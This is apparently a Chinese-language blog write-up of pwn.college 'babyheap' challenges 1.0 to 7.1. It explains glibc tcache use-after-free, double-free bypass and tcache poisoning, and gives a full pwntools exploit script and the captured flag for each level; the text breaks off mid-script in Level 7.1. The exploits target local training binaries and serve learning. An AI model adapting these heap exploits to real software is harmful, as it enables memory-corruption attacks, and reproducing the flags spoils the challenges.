前言#

悲，这篇博客最早是在 2025-01-25 开始写的，那会儿刚准备开始学堆，结果却因为各种各样的原因（主要是未来路线规划和刚接触堆面对各种陌生的新知识感觉十分害怕，也确实不懂，觉得很难），就去干别的了。没想到一直到 25 年 9 月才重新开始写这篇博客……既然如此，那就干脆把以前写的全删了，从头开始刷这章好了……

其实发现以前写的多少有点小问题，虽然现在我会的也只是比一开始的时候多了那么一丢丢，只是粗略了解了一点 glibc 堆分配机制而已。总的来说，面对这一章我本质上还是从零开始，差不多吧……

Level 1.0#

Information#

Category: Pwn

Description#

Exploit a use-after-free vulnerability to get the flag.

Write-up#

我就不贴反编译代码了，感觉也没啥好贴的。主要还是说说思路吧：

read_flag 会 malloc 330 字节空间，然后将 flag 读到 malloc 返回的地址中。

puts 会输出全局变量 ptr 中的内容，也就是说我们只要想办法让 read_flag 的 malloc 返回的地址与 ptr 保存的地址相同，就可以通过 puts 输出 flag 的内容。

因为 glibc 堆分配器会从 bins 中寻找并复用大小近似的 free chunk，所以我们可以先通过调用 malloc 分配一块 330 字节的空间，然后 free 掉。这样下次如果还 malloc 330 字节大小的空间就会复用我们第一次 malloc 330 返回的地址。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    log,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level1.0"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Size: ", str(size))
31

32

33
def free():
34
    target.sendlineafter(b": ", b"free")
35

36

37
def puts():
38
    target.sendlineafter(b": ", b"puts")
39

40

41
def read_flag():
42
    target.sendlineafter(b": ", b"read_flag")
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def main():
50
    launch()
51

52
    malloc(330)
53
    free()
54
    read_flag()
55
    puts()
56
    quit()
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Flag#

pwn.college{8_UCfYUIGnvHU86NU1Qe-H6dK1o.0VM3MDL5cTNxgzW}

Level 1.1#

Information#

Category: Pwn

Description#

Exploit a use-after-free vulnerability to get the flag.

Write-up#

参见 Level 1.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    log,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level1.1"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Size: ", str(size))
31

32

33
def free():
34
    target.sendlineafter(b": ", b"free")
35

36

37
def puts():
38
    target.sendlineafter(b": ", b"puts")
39

40

41
def read_flag():
42
    target.sendlineafter(b": ", b"read_flag")
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def main():
50
    launch()
51

52
    malloc(618)
53
    free()
54
    read_flag()
55
    puts()
56
    quit()
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Flag#

pwn.college{8oPO3KqdZU5lZfzl5xftjR2IZif.0lM3MDL5cTNxgzW}

Level 2.0#

Information#

Category: Pwn

Description#

Create and exploit a use-after-free vulnerability to get the flag.

Write-up#

与 Level 1 区别不大。但是在 malloc 存放 flag 的空间时使用的是 rand() % 872 + 128，这会生成 $[ 0+128,872+128)$ 范围内的随机数。所以我们要么预测它生成什么随机数，要么爆破它落在哪个 bin 中。

rand 生成的是伪随机数，可以预测。本来想直接 break PRNG 的：上帝掷骰子？不，其实是线性同余。

但是后来发现程序在 __libc_csu_init 中调用了 flag_seed，而这个函数内部又调用了 srand(seed)，它的 seed 是循环异或栈上的数据得来的。虽然在每台机器上运行都会有特定的栈上的数据，但是并不是一个普适的方法，尽管我可以 debug 得到 seed，但是远程就打不通了。所以我们还是用爆破 bins 的方法好了。tcache bins 有限，这个 rand 生成的范围也不是很大，所以还是很容易爆破的。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    log,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/babyheap_level2.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def launch():
22
    global target
23
    if args.L:
24
        target = process(FILE)
25
    else:
26
        target = remote(HOST, PORT)
27

28

29
def malloc(size):
30
    target.sendlineafter(b": ", b"malloc")
31
    target.sendlineafter(b"Size: ", str(size))
32

33

34
def free():
35
    target.sendlineafter(b": ", b"free")
36

37

38
def puts():
39
    target.sendlineafter(b": ", b"puts")
40

41

42
def read_flag():
43
    target.sendlineafter(b": ", b"read_flag")
44

45

46
def quit():
47
    target.sendlineafter(b": ", b"quit")
48

49

50
def test_size(candidate):
51
    launch()
52
    malloc(candidate)
53
    free()
54
    read_flag()
55
    puts()
56

57
    response = target.recvall(timeout=0.01)
58
    if b"pwn.college{" in response:
59
        target.close()
60
        return True
61
    return False
62

63

64
def main():
65
    for bin in range(0x20, 0x410 + 1, 0x10):
66
        base_req = bin - 0x10
67
        ok = test_size(base_req)
68
        if ok:
69
            log.success(
70
                f"Found working requested size: {hex(base_req)} for tcache bin {hex(bin)}"
71
            )
72
            return
73
        log.warning("Exhausted candidates, none matched.")
74
    target.interactive()
75

76

77
if __name__ == "__main__":
78
    main()

Flag#

pwn.college{ME7LG_Jy8T-xEw9H_njxpD2aJ4z.01M3MDL5cTNxgzW}

Level 2.1#

Information#

Category: Pwn

Description#

Create and exploit a use-after-free vulnerability to get the flag.

Write-up#

参见 Level 2.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    log,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/babyheap_level2.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def launch():
22
    global target
23
    if args.L:
24
        target = process(FILE)
25
    else:
26
        target = remote(HOST, PORT)
27

28

29
def malloc(size):
30
    target.sendlineafter(b": ", b"malloc")
31
    target.sendlineafter(b"Size: ", str(size))
32

33

34
def free():
35
    target.sendlineafter(b": ", b"free")
36

37

38
def puts():
39
    target.sendlineafter(b": ", b"puts")
40

41

42
def read_flag():
43
    target.sendlineafter(b": ", b"read_flag")
44

45

46
def quit():
47
    target.sendlineafter(b": ", b"quit")
48

49

50
def test_size(candidate):
51
    launch()
52
    malloc(candidate)
53
    free()
54
    read_flag()
55
    puts()
56

57
    response = target.recvall(timeout=0.01)
58
    if b"pwn.college{" in response:
59
        target.close()
60
        return True
61
    return False
62

63

64
def main():
65
    for bin in range(0x20, 0x410 + 1, 0x10):
66
        base_req = bin - 0x10
67
        ok = test_size(base_req)
68
        if ok:
69
            log.success(
70
                f"Found working requested size: {hex(base_req)} for tcache bin {hex(bin)}"
71
            )
72
            return
73
        log.warning("Exhausted candidates, none matched.")
74
    target.interactive()
75

76

77
if __name__ == "__main__":
78
    main()

Flag#

pwn.college{MihEcPIR1bQBmiQGOoGELSrscgW.0FN3MDL5cTNxgzW}

Level 3.0#

Information#

Category: Pwn

Description#

Create and exploit a use-after-free vulnerability to get the flag when multiple allocations occur.

Write-up#

这题和之前也差不多，只不过 ptr 变成了可以容纳 16 个指针的数组，然后 read_flag 会 malloc 两次，flag 被写入第二次 malloc 返回的地址中。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    log,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/babyheap_level3.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def launch():
22
    global target
23
    if args.L:
24
        target = process(FILE)
25
    else:
26
        target = remote(HOST, PORT)
27

28

29
def malloc(idx, size):
30
    target.sendlineafter(b": ", b"malloc")
31
    target.sendlineafter(b"Index: ", str(idx))
32
    target.sendlineafter(b"Size: ", str(size))
33

34

35
def free(idx):
36
    target.sendlineafter(b": ", b"free")
37
    target.sendlineafter(b"Index: ", str(idx))
38

39

40
def puts(idx):
41
    target.sendlineafter(b": ", b"puts")
42
    target.sendlineafter(b"Index: ", str(idx))
43

44

45
def read_flag():
46
    target.sendlineafter(b": ", b"read_flag")
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def main():
54
    launch()
55

56
    malloc(0, 773)
57
    malloc(1, 773)
58
    free(0)
59
    free(1)
60
    read_flag()
61
    puts(0)
62
    quit()
63

64
    target.interactive()
65

66

67
if __name__ == "__main__":
68
    main()

Flag#

pwn.college{wvvL-j9QzjeoJrOsQS4Vval7exq.0VN3MDL5cTNxgzW}

Level 3.1#

Information#

Category: Pwn

Description#

Create and exploit a use-after-free vulnerability to get the flag when multiple allocations occur.

Write-up#

参见 Level 3.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    log,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/babyheap_level3.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def launch():
22
    global target
23
    if args.L:
24
        target = process(FILE)
25
    else:
26
        target = remote(HOST, PORT)
27

28

29
def malloc(idx, size):
30
    target.sendlineafter(b": ", b"malloc")
31
    target.sendlineafter(b"Index: ", str(idx))
32
    target.sendlineafter(b"Size: ", str(size))
33

34

35
def free(idx):
36
    target.sendlineafter(b": ", b"free")
37
    target.sendlineafter(b"Index: ", str(idx))
38

39

40
def puts(idx):
41
    target.sendlineafter(b": ", b"puts")
42
    target.sendlineafter(b"Index: ", str(idx))
43

44

45
def read_flag():
46
    target.sendlineafter(b": ", b"read_flag")
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def main():
54
    launch()
55

56
    malloc(0, 911)
57
    malloc(1, 911)
58
    free(0)
59
    free(1)
60
    read_flag()
61
    puts(0)
62
    quit()
63

64
    target.interactive()
65

66

67
if __name__ == "__main__":
68
    main()

Flag#

pwn.college{wDLulwEpEQfpi78_Z4CAniTrByQ.0lN3MDL5cTNxgzW}

Level 4.0#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct value to get the flag when multiple allocations occur.

Write-up#

变变变，围绕一个特定的主题，逐步递增难度，最后产生各种不同的变式，这就是我最喜欢 pwn.college 的地方，对于学习各种利用姿势来说非常友好。

这题回到了一开始的样子，ptr 是一个全局变量，用于保存 malloc 返回的指针。read_flag 延续了上题的风格，会 malloc 两次，flag 被写到第二次 malloc 返回的地址中。

此外，新增了下面这个 scanf 功能：

1
      if ( strcmp(s1, "scanf") )
2
        break;
3
      v3 = malloc_usable_size(ptr);
4
      sprintf(s1, "%%%us", v3);
5
      v4 = malloc_usable_size(ptr);
6
      printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, 0);
7
      __isoc99_scanf(s1, ptr);
8
      puts(byte_246E);

它先通过 malloc_usable_size(ptr) 确定 ptr 保存的地址的 data 部分大小，然后通过 sprintf(s1, "%%%us", v3) 动态生成格式化字符串，写入 s1 中。%%%us 会先解析出一个 %，然后 %u 被解析为一个 unsigned int，最后加上 s，也就是根据 v4 动态生成 %v4s 这样的格式化字符串。

之后才是真正的读取输入，__isoc99_scanf(s1, ptr) 使用 s1 中保存的动态生成的格式化字符串，读取指定大小数据到 ptr 中。

IMPORTANT
tcache / fastbin 都是单链表，只使用了 fd 指针。区别是 tcache 的 fd 指向下一个 free chunk 的 data 区域，而 fastbin 的 fd 指向的是下一个 free chunk 的 metadata 区域。

上面聊完了程序的大致功能，下面说点正经的做题思路：

我们 malloc / free 操作都受限于 ptr 指针，这个指针是固定值，而我们又希望 read_flag 将 flag 地址保存在 ptr 指针中，怎么办？我想了很多方法，起码也得有 5 种奇怪的方案，比如先泄漏堆地址，然后改写 ptr 指针的内容为 flag 的地址……结果最后都掉进了一些奇奇怪怪的 pitfall 里 awww，这里就不展开细说了……最后在某一天清晨，当我洗漱完继续投入到这道题中时，与平日截然相反地，我拿起了纸和笔，试图重新理理思路……结果奇迹就发生了……

简单来说就是，先 malloc 一块和 flag 需要的大小相同的区域，这时候 ptr 就变成了 malloc 的返回值，然后我们 free 它，它会被丢进 tcachebin 中。这时候如果我们直接调用 read_flag 的话，它的第一个 malloc 肯定会拿到我们刚才 free 掉的那个 chunk，然后因为没有其它空闲 chunk 了，就会从 arena 中开辟一个新的 chunk 出来，这样的话 flag 的地址就永远不会和 ptr 保存的地址相同了……~~不行！太恶劣了！我绝对不允许这种事情发生在我眼皮底下！~~所以，问题的关键就在于我们有没有办法令 read_flag 第二次 malloc 取得的地址和第一次 malloc 取得的一样？很简单，free 两次，tcachebin 中不就有两个一样的 free chunk 了吗？但是这样会触发 double free 检测，程序直接 abort，那么问题就变成了我们应该如何绕过这个检测了。

这里我们需要研究一下 glibc-2.31 的源码（pwn.college 这一章用的都是 2.31）：薛定谔的 free chunks: Double Free, Double Fun ?

由于我们有 scanf 功能，可以向 ptr 指向的地址处写入数据，也就是说我们能写入 data 区。scanf 遇到换行则认为输入结束，并将换行替换为 \x00。我们想让 ptr 在 tcachebin 中出现两次，就可以这么玩：malloc -> free -> scanf -> free -> read_flag -> puts。至于这条攻击链的具体原理就自己琢磨去吧，我这里就不再过多赘述了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    process,
7
    raw_input,
8
    remote,
9
)
10

11
FILE = "/challenge/babyheap_level4.0"
12
HOST, PORT = "localhost", 1337
13

14
context(log_level="debug", binary=FILE, terminal="kitty")
15

16
elf = context.binary
17

18

19
def launch():
20
    global target
21
    if args.L:
22
        target = process(FILE)
23
    else:
24
        target = remote(HOST, PORT)
25

26

27
def malloc(size):
28
    target.sendlineafter(b": ", b"malloc")
29
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
30

31

32
def free():
33
    target.sendlineafter(b": ", b"free")
34

35

36
def puts():
37
    target.sendlineafter(b": ", b"puts")
38

39

40
def scanf(data):
41
    target.sendlineafter(b": ", b"scanf")
42
    target.sendline(data)
43

44

45
def read_flag():
46
    target.sendlineafter(b": ", b"read_flag")
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def main():
54
    launch()
55

56
    malloc(542)
57
    free()
58
    scanf(b"A" * 8)
59
    free()
60
    read_flag()
61
    puts()
62
    quit()
63

64
    target.interactive()
65

66

67
if __name__ == "__main__":
68
    main()

Flag#

pwn.college{oZ6_TOkCX4vXbuU0gTGgGHmYWRJ.01N3MDL5cTNxgzW}

Level 4.1#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct value to get the flag when multiple allocations occur.

Write-up#

参见 Level 4.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    process,
7
    raw_input,
8
    remote,
9
)
10

11
FILE = "/challenge/babyheap_level4.1"
12
HOST, PORT = "localhost", 1337
13

14
context(log_level="debug", binary=FILE, terminal="kitty")
15

16
elf = context.binary
17

18

19
def launch():
20
    global target
21
    if args.L:
22
        target = process(FILE)
23
    else:
24
        target = remote(HOST, PORT)
25

26

27
def malloc(size):
28
    target.sendlineafter(b": ", b"malloc")
29
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
30

31

32
def free():
33
    target.sendlineafter(b": ", b"free")
34

35

36
def puts():
37
    target.sendlineafter(b": ", b"puts")
38

39

40
def scanf(data):
41
    target.sendlineafter(b": ", b"scanf")
42
    target.sendline(data)
43

44

45
def read_flag():
46
    target.sendlineafter(b": ", b"read_flag")
47

48

49
def quit():
50
    target.sendlineafter(b": ", b"quit")
51

52

53
def main():
54
    launch()
55

56
    malloc(708)
57
    free()
58
    scanf(b"A" * 8)
59
    free()
60
    read_flag()
61
    puts()
62
    quit()
63

64
    target.interactive()
65

66

67
if __name__ == "__main__":
68
    main()

Flag#

pwn.college{MHf4zKVq2DfY5MtZr8YZABG0Z4S.0FO3MDL5cTNxgzW}

Level 5.0#

Information#

Category: Pwn

Description#

Apply the TCACHE metadata in an unintended manner to set a value.

Write-up#

这题又是 ptr 数组，read_flag 将 flag 读到它 malloc 返回的地址加上 16 字节偏移的位置。然后就是新增了一个 puts_flag 函数：

1
    if ( strcmp(s1, "puts_flag") )
2
      break;
3
    if ( *(_QWORD *)size_4 )
4
      puts(size_4 + 16);
5
    else
6
      puts("Not authorized!");

它检测 read_flag 的 malloc 返回的地址处的前 8 字节是否为空，不为空则输出 flag 。

对 mlloc_chunk 结构体熟悉的话就知道前 8 字节是 fd 的位置。那我们现在没有任何可以向 chunk data 写入数据的方法，如何修改 fd 呢？自然是 free 啦～

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    process,
7
    raw_input,
8
    remote,
9
)
10

11
FILE = "/challenge/babyheap_level5.0"
12
HOST, PORT = "localhost", 1337
13

14
context(log_level="debug", binary=FILE, terminal="kitty")
15

16
elf = context.binary
17

18

19
def launch():
20
    global target
21
    if args.L:
22
        target = process(FILE)
23
    else:
24
        target = remote(HOST, PORT)
25

26

27
def malloc(idx, size):
28
    target.sendlineafter(b": ", b"malloc")
29
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
30
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
31

32

33
def free(idx):
34
    target.sendlineafter(b": ", b"free")
35
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
36

37

38
def puts(idx):
39
    target.sendlineafter(b": ", b"puts")
40
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
41

42

43
def read_flag():
44
    target.sendlineafter(b": ", b"read_flag")
45

46

47
def puts_flag():
48
    target.sendlineafter(b": ", b"puts_flag")
49

50

51
def quit():
52
    target.sendlineafter(b": ", b"quit")
53

54

55
def main():
56
    launch()
57

58
    malloc(0, 496)
59
    malloc(1, 496)
60
    free(0)
61
    free(1)
62
    read_flag()
63
    free(1)
64
    puts_flag()
65
    quit()
66

67
    target.interactive()
68

69

70
if __name__ == "__main__":
71
    main()

Flag#

pwn.college{ckg3CON3ru3-ygB82VxLMcRUuBS.0VO3MDL5cTNxgzW}

Level 5.1#

Information#

Category: Pwn

Description#

Apply the TCACHE metadata in an unintended manner to set a value.

Write-up#

参见 Level 5.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    process,
7
    raw_input,
8
    remote,
9
)
10

11
FILE = "/challenge/babyheap_level5.1"
12
HOST, PORT = "localhost", 1337
13

14
context(log_level="debug", binary=FILE, terminal="kitty")
15

16
elf = context.binary
17

18

19
def launch():
20
    global target
21
    if args.L:
22
        target = process(FILE)
23
    else:
24
        target = remote(HOST, PORT)
25

26

27
def malloc(idx, size):
28
    target.sendlineafter(b": ", b"malloc")
29
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
30
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
31

32

33
def free(idx):
34
    target.sendlineafter(b": ", b"free")
35
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
36

37

38
def puts(idx):
39
    target.sendlineafter(b": ", b"puts")
40
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
41

42

43
def read_flag():
44
    target.sendlineafter(b": ", b"read_flag")
45

46

47
def puts_flag():
48
    target.sendlineafter(b": ", b"puts_flag")
49

50

51
def quit():
52
    target.sendlineafter(b": ", b"quit")
53

54

55
def main():
56
    launch()
57

58
    malloc(0, 456)
59
    malloc(1, 456)
60
    free(0)
61
    free(1)
62
    read_flag()
63
    free(1)
64
    puts_flag()
65
    quit()
66

67
    target.interactive()
68

69

70
if __name__ == "__main__":
71
    main()

Flag#

pwn.college{YWZIg8kQV_nzpSzsFagMNO6O6Qn.0FM4MDL5cTNxgzW}

Level 6.0#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct to read unintended memory.

Write-up#

ptr 数组管理多个分配，scanf 向指定 chunk 写入 data，send_flag 验证输入的 secret 与随机生成的存放在 bss 中的 secret 是否相同，相同则输出 flag 。

这是生成随机 8 字节 secret 的部分：

1
  for ( i = 0; i <= 7; ++i )
2
    byte_428849[i] = rand() % 26 + 97;

由于没开 PIE，而生成的 secret 又是保存在 bss 段，所以我们可以精准定位 secret 的地址。

puts 将 ptr[idx] 视为字符串指针，输出其保存的内容。所以我们只要想办法令 malloc 返回给 ptr[idx] 的地址为 bss 上存放 secret 的地址就可以输出 secret 了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    p32,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level6.0"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(idx, size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
31
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
42

43

44
def scanf(idx, data):
45
    target.sendlineafter(b": ", b"scanf")
46
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
47
    target.sendline(data)
48

49

50
def send_flag(secret):
51
    target.sendlineafter(b": ", b"send_flag")
52
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))
53

54

55
def quit():
56
    target.sendlineafter(b": ", b"quit")
57

58

59
def main():
60
    launch()
61

62
    secret = elf.bss() + 0x18849
63

64
    malloc(0, 0)
65
    malloc(1, 0)
66
    free(1)
67
    free(0)
68
    scanf(0, p32(secret))
69
    malloc(0, 0)
70
    malloc(0, 0)
71
    puts(0)
72

73
    target.recvuntil(b"Data: ")
74
    secret = target.recvline().strip().decode("ascii")
75
    send_flag(secret)
76
    quit()
77

78
    target.interactive()
79

80

81
if __name__ == "__main__":
82
    main()

Flag#

pwn.college{wLCxyleFYPCBwUq2LzFkqEM8qzv.0VM4MDL5cTNxgzW}

Level 6.1#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct to read unintended memory.

Write-up#

参见 Level 6.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    p32,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level6.1"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(idx, size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
31
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
42

43

44
def scanf(idx, data):
45
    target.sendlineafter(b": ", b"scanf")
46
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
47
    target.sendline(data)
48

49

50
def send_flag(secret):
51
    target.sendlineafter(b": ", b"send_flag")
52
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))
53

54

55
def quit():
56
    target.sendlineafter(b": ", b"quit")
57

58

59
def main():
60
    launch()
61

62
    secret = elf.bss() + 0x1B553
63

64
    malloc(0, 0)
65
    malloc(1, 0)
66
    free(1)
67
    free(0)
68
    scanf(0, p32(secret))
69
    malloc(0, 0)
70
    malloc(0, 0)
71
    puts(0)
72

73
    target.recvuntil(b"Data: ")
74
    secret = target.recvline().strip().decode("ascii")
75
    send_flag(secret)
76
    quit()
77

78
    target.interactive()
79

80

81
if __name__ == "__main__":
82
    main()

Flag#

pwn.college{oc9V7EmGNRr7415ZlPgXYL-qDjV.0lM4MDL5cTNxgzW}

Level 7.0#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct to read unintended memory.

Write-up#

和上题一样，但是这次变成了 16 字节随机值：

1
  for ( i = 0; i <= 15; ++i )
2
    byte_429532[i] = rand() % 26 + 97;

问题就在于，按照上个方法我们令 malloc 拿到 secret 的地址后，它会将 e->key = NULL，导致后 8 字节被清空。

但是也很好解决。既然我们可以泄漏出前 8 字节，那我们将偏移加 8 再来一次不就泄漏出后 8 字节了吗？

分析下面设置 seed 的流程我们知道，seed 每次运行程序都是一样的，由于上面生成随机 secret 的部分用的是伪随机数发生器，所以每次运行结果也是不变的，那就没啥好担心的了。

1
unsigned __int64 flag_seed()
2
{
3
  unsigned int seed; // [rsp+4h] [rbp-9Ch]
4
  unsigned int i; // [rsp+8h] [rbp-98h]
5
  int fd; // [rsp+Ch] [rbp-94h]
6
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
7
  unsigned __int64 v5; // [rsp+98h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  memset(buf, 0, 128);
11
  fd = open("/flag", 0);
12
  if ( fd < 0 )
13
    __assert_fail("fd >= 0", "<stdin>", 0x20u, "flag_seed");
14
  if ( read(fd, buf, 0x80uLL) <= 0 )
15
    __assert_fail("read(fd, flag, 128) > 0", "<stdin>", 0x21u, "flag_seed");
16
  seed = 0;
17
  for ( i = 0; i <= 31; ++i )
18
    seed ^= *((_DWORD *)buf + (int)i);
19
  srand(seed);
20
  memset(buf, 0, 128uLL);
21
  return __readfsqword(0x28u) ^ v5;
22
}

反正我用的方法比较简单粗暴，不过我也想过一次性泄漏完整的 secret，那就需要伪造 chunk size，提前做点布局……实际操作起来还挺麻烦的，也就没继续深入……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    p32,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level7.0"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(idx, size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
31
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
42

43

44
def scanf(idx, data):
45
    target.sendlineafter(b": ", b"scanf")
46
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
47
    target.sendline(data)
48

49

50
def send_flag(secret):
51
    target.sendlineafter(b": ", b"send_flag")
52
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))
53

54

55
def quit():
56
    target.sendlineafter(b": ", b"quit")
57

58

59
def main():
60
    launch()
61

62
    secret_p1 = elf.bss() + 0x19532
63
    secret_p2 = secret_p1 + 0x8
64

65
    malloc(0, 0)
66
    malloc(1, 0)
67
    free(1)
68
    free(0)
69
    scanf(0, p32(secret_p1))
70
    malloc(0, 0)
71
    malloc(0, 0)
72
    puts(0)
73

74
    target.recvuntil(b"Data: ")
75
    secret_p1 = target.recvline().strip().decode("ascii")
76
    target.success(f"Part 1: {secret_p1}")
77
    target.close()
78
    launch()
79

80
    malloc(0, 0)
81
    malloc(1, 0)
82
    free(1)
83
    free(0)
84
    scanf(0, p32(secret_p2))
85
    malloc(0, 0)
86
    malloc(0, 0)
87
    puts(0)
88

89
    target.recvuntil(b"Data: ")
90
    secret_p2 = target.recvline().strip().decode("ascii")
91
    target.success(f"Part 2: {secret_p2}")
92

93
    secret = secret_p1 + secret_p2
94
    send_flag(secret)
95
    quit()
96

97
    target.interactive()
98

99

100
if __name__ == "__main__":
101
    main()

Flag#

pwn.college{QXpTguKBiT4StYFr24ZsUSfm3-8.01M4MDL5cTNxgzW}

Level 7.1#

Information#

Category: Pwn

Description#

Corrupt the TCACHE entry_struct to read unintended memory.

Write-up#

参见 Level 7.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    p32,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12
FILE = "/challenge/babyheap_level7.1"
13
HOST, PORT = "localhost", 1337
14

15
context(log_level="debug", binary=FILE, terminal="kitty")
16

17
elf = context.binary
18

19

20
def launch():
21
    global target
22
    if args.L:
23
        target = process(FILE)
24
    else:
25
        target = remote(HOST, PORT)
26

27

28
def malloc(idx, size):
29
    target.sendlineafter(b": ", b"malloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
31
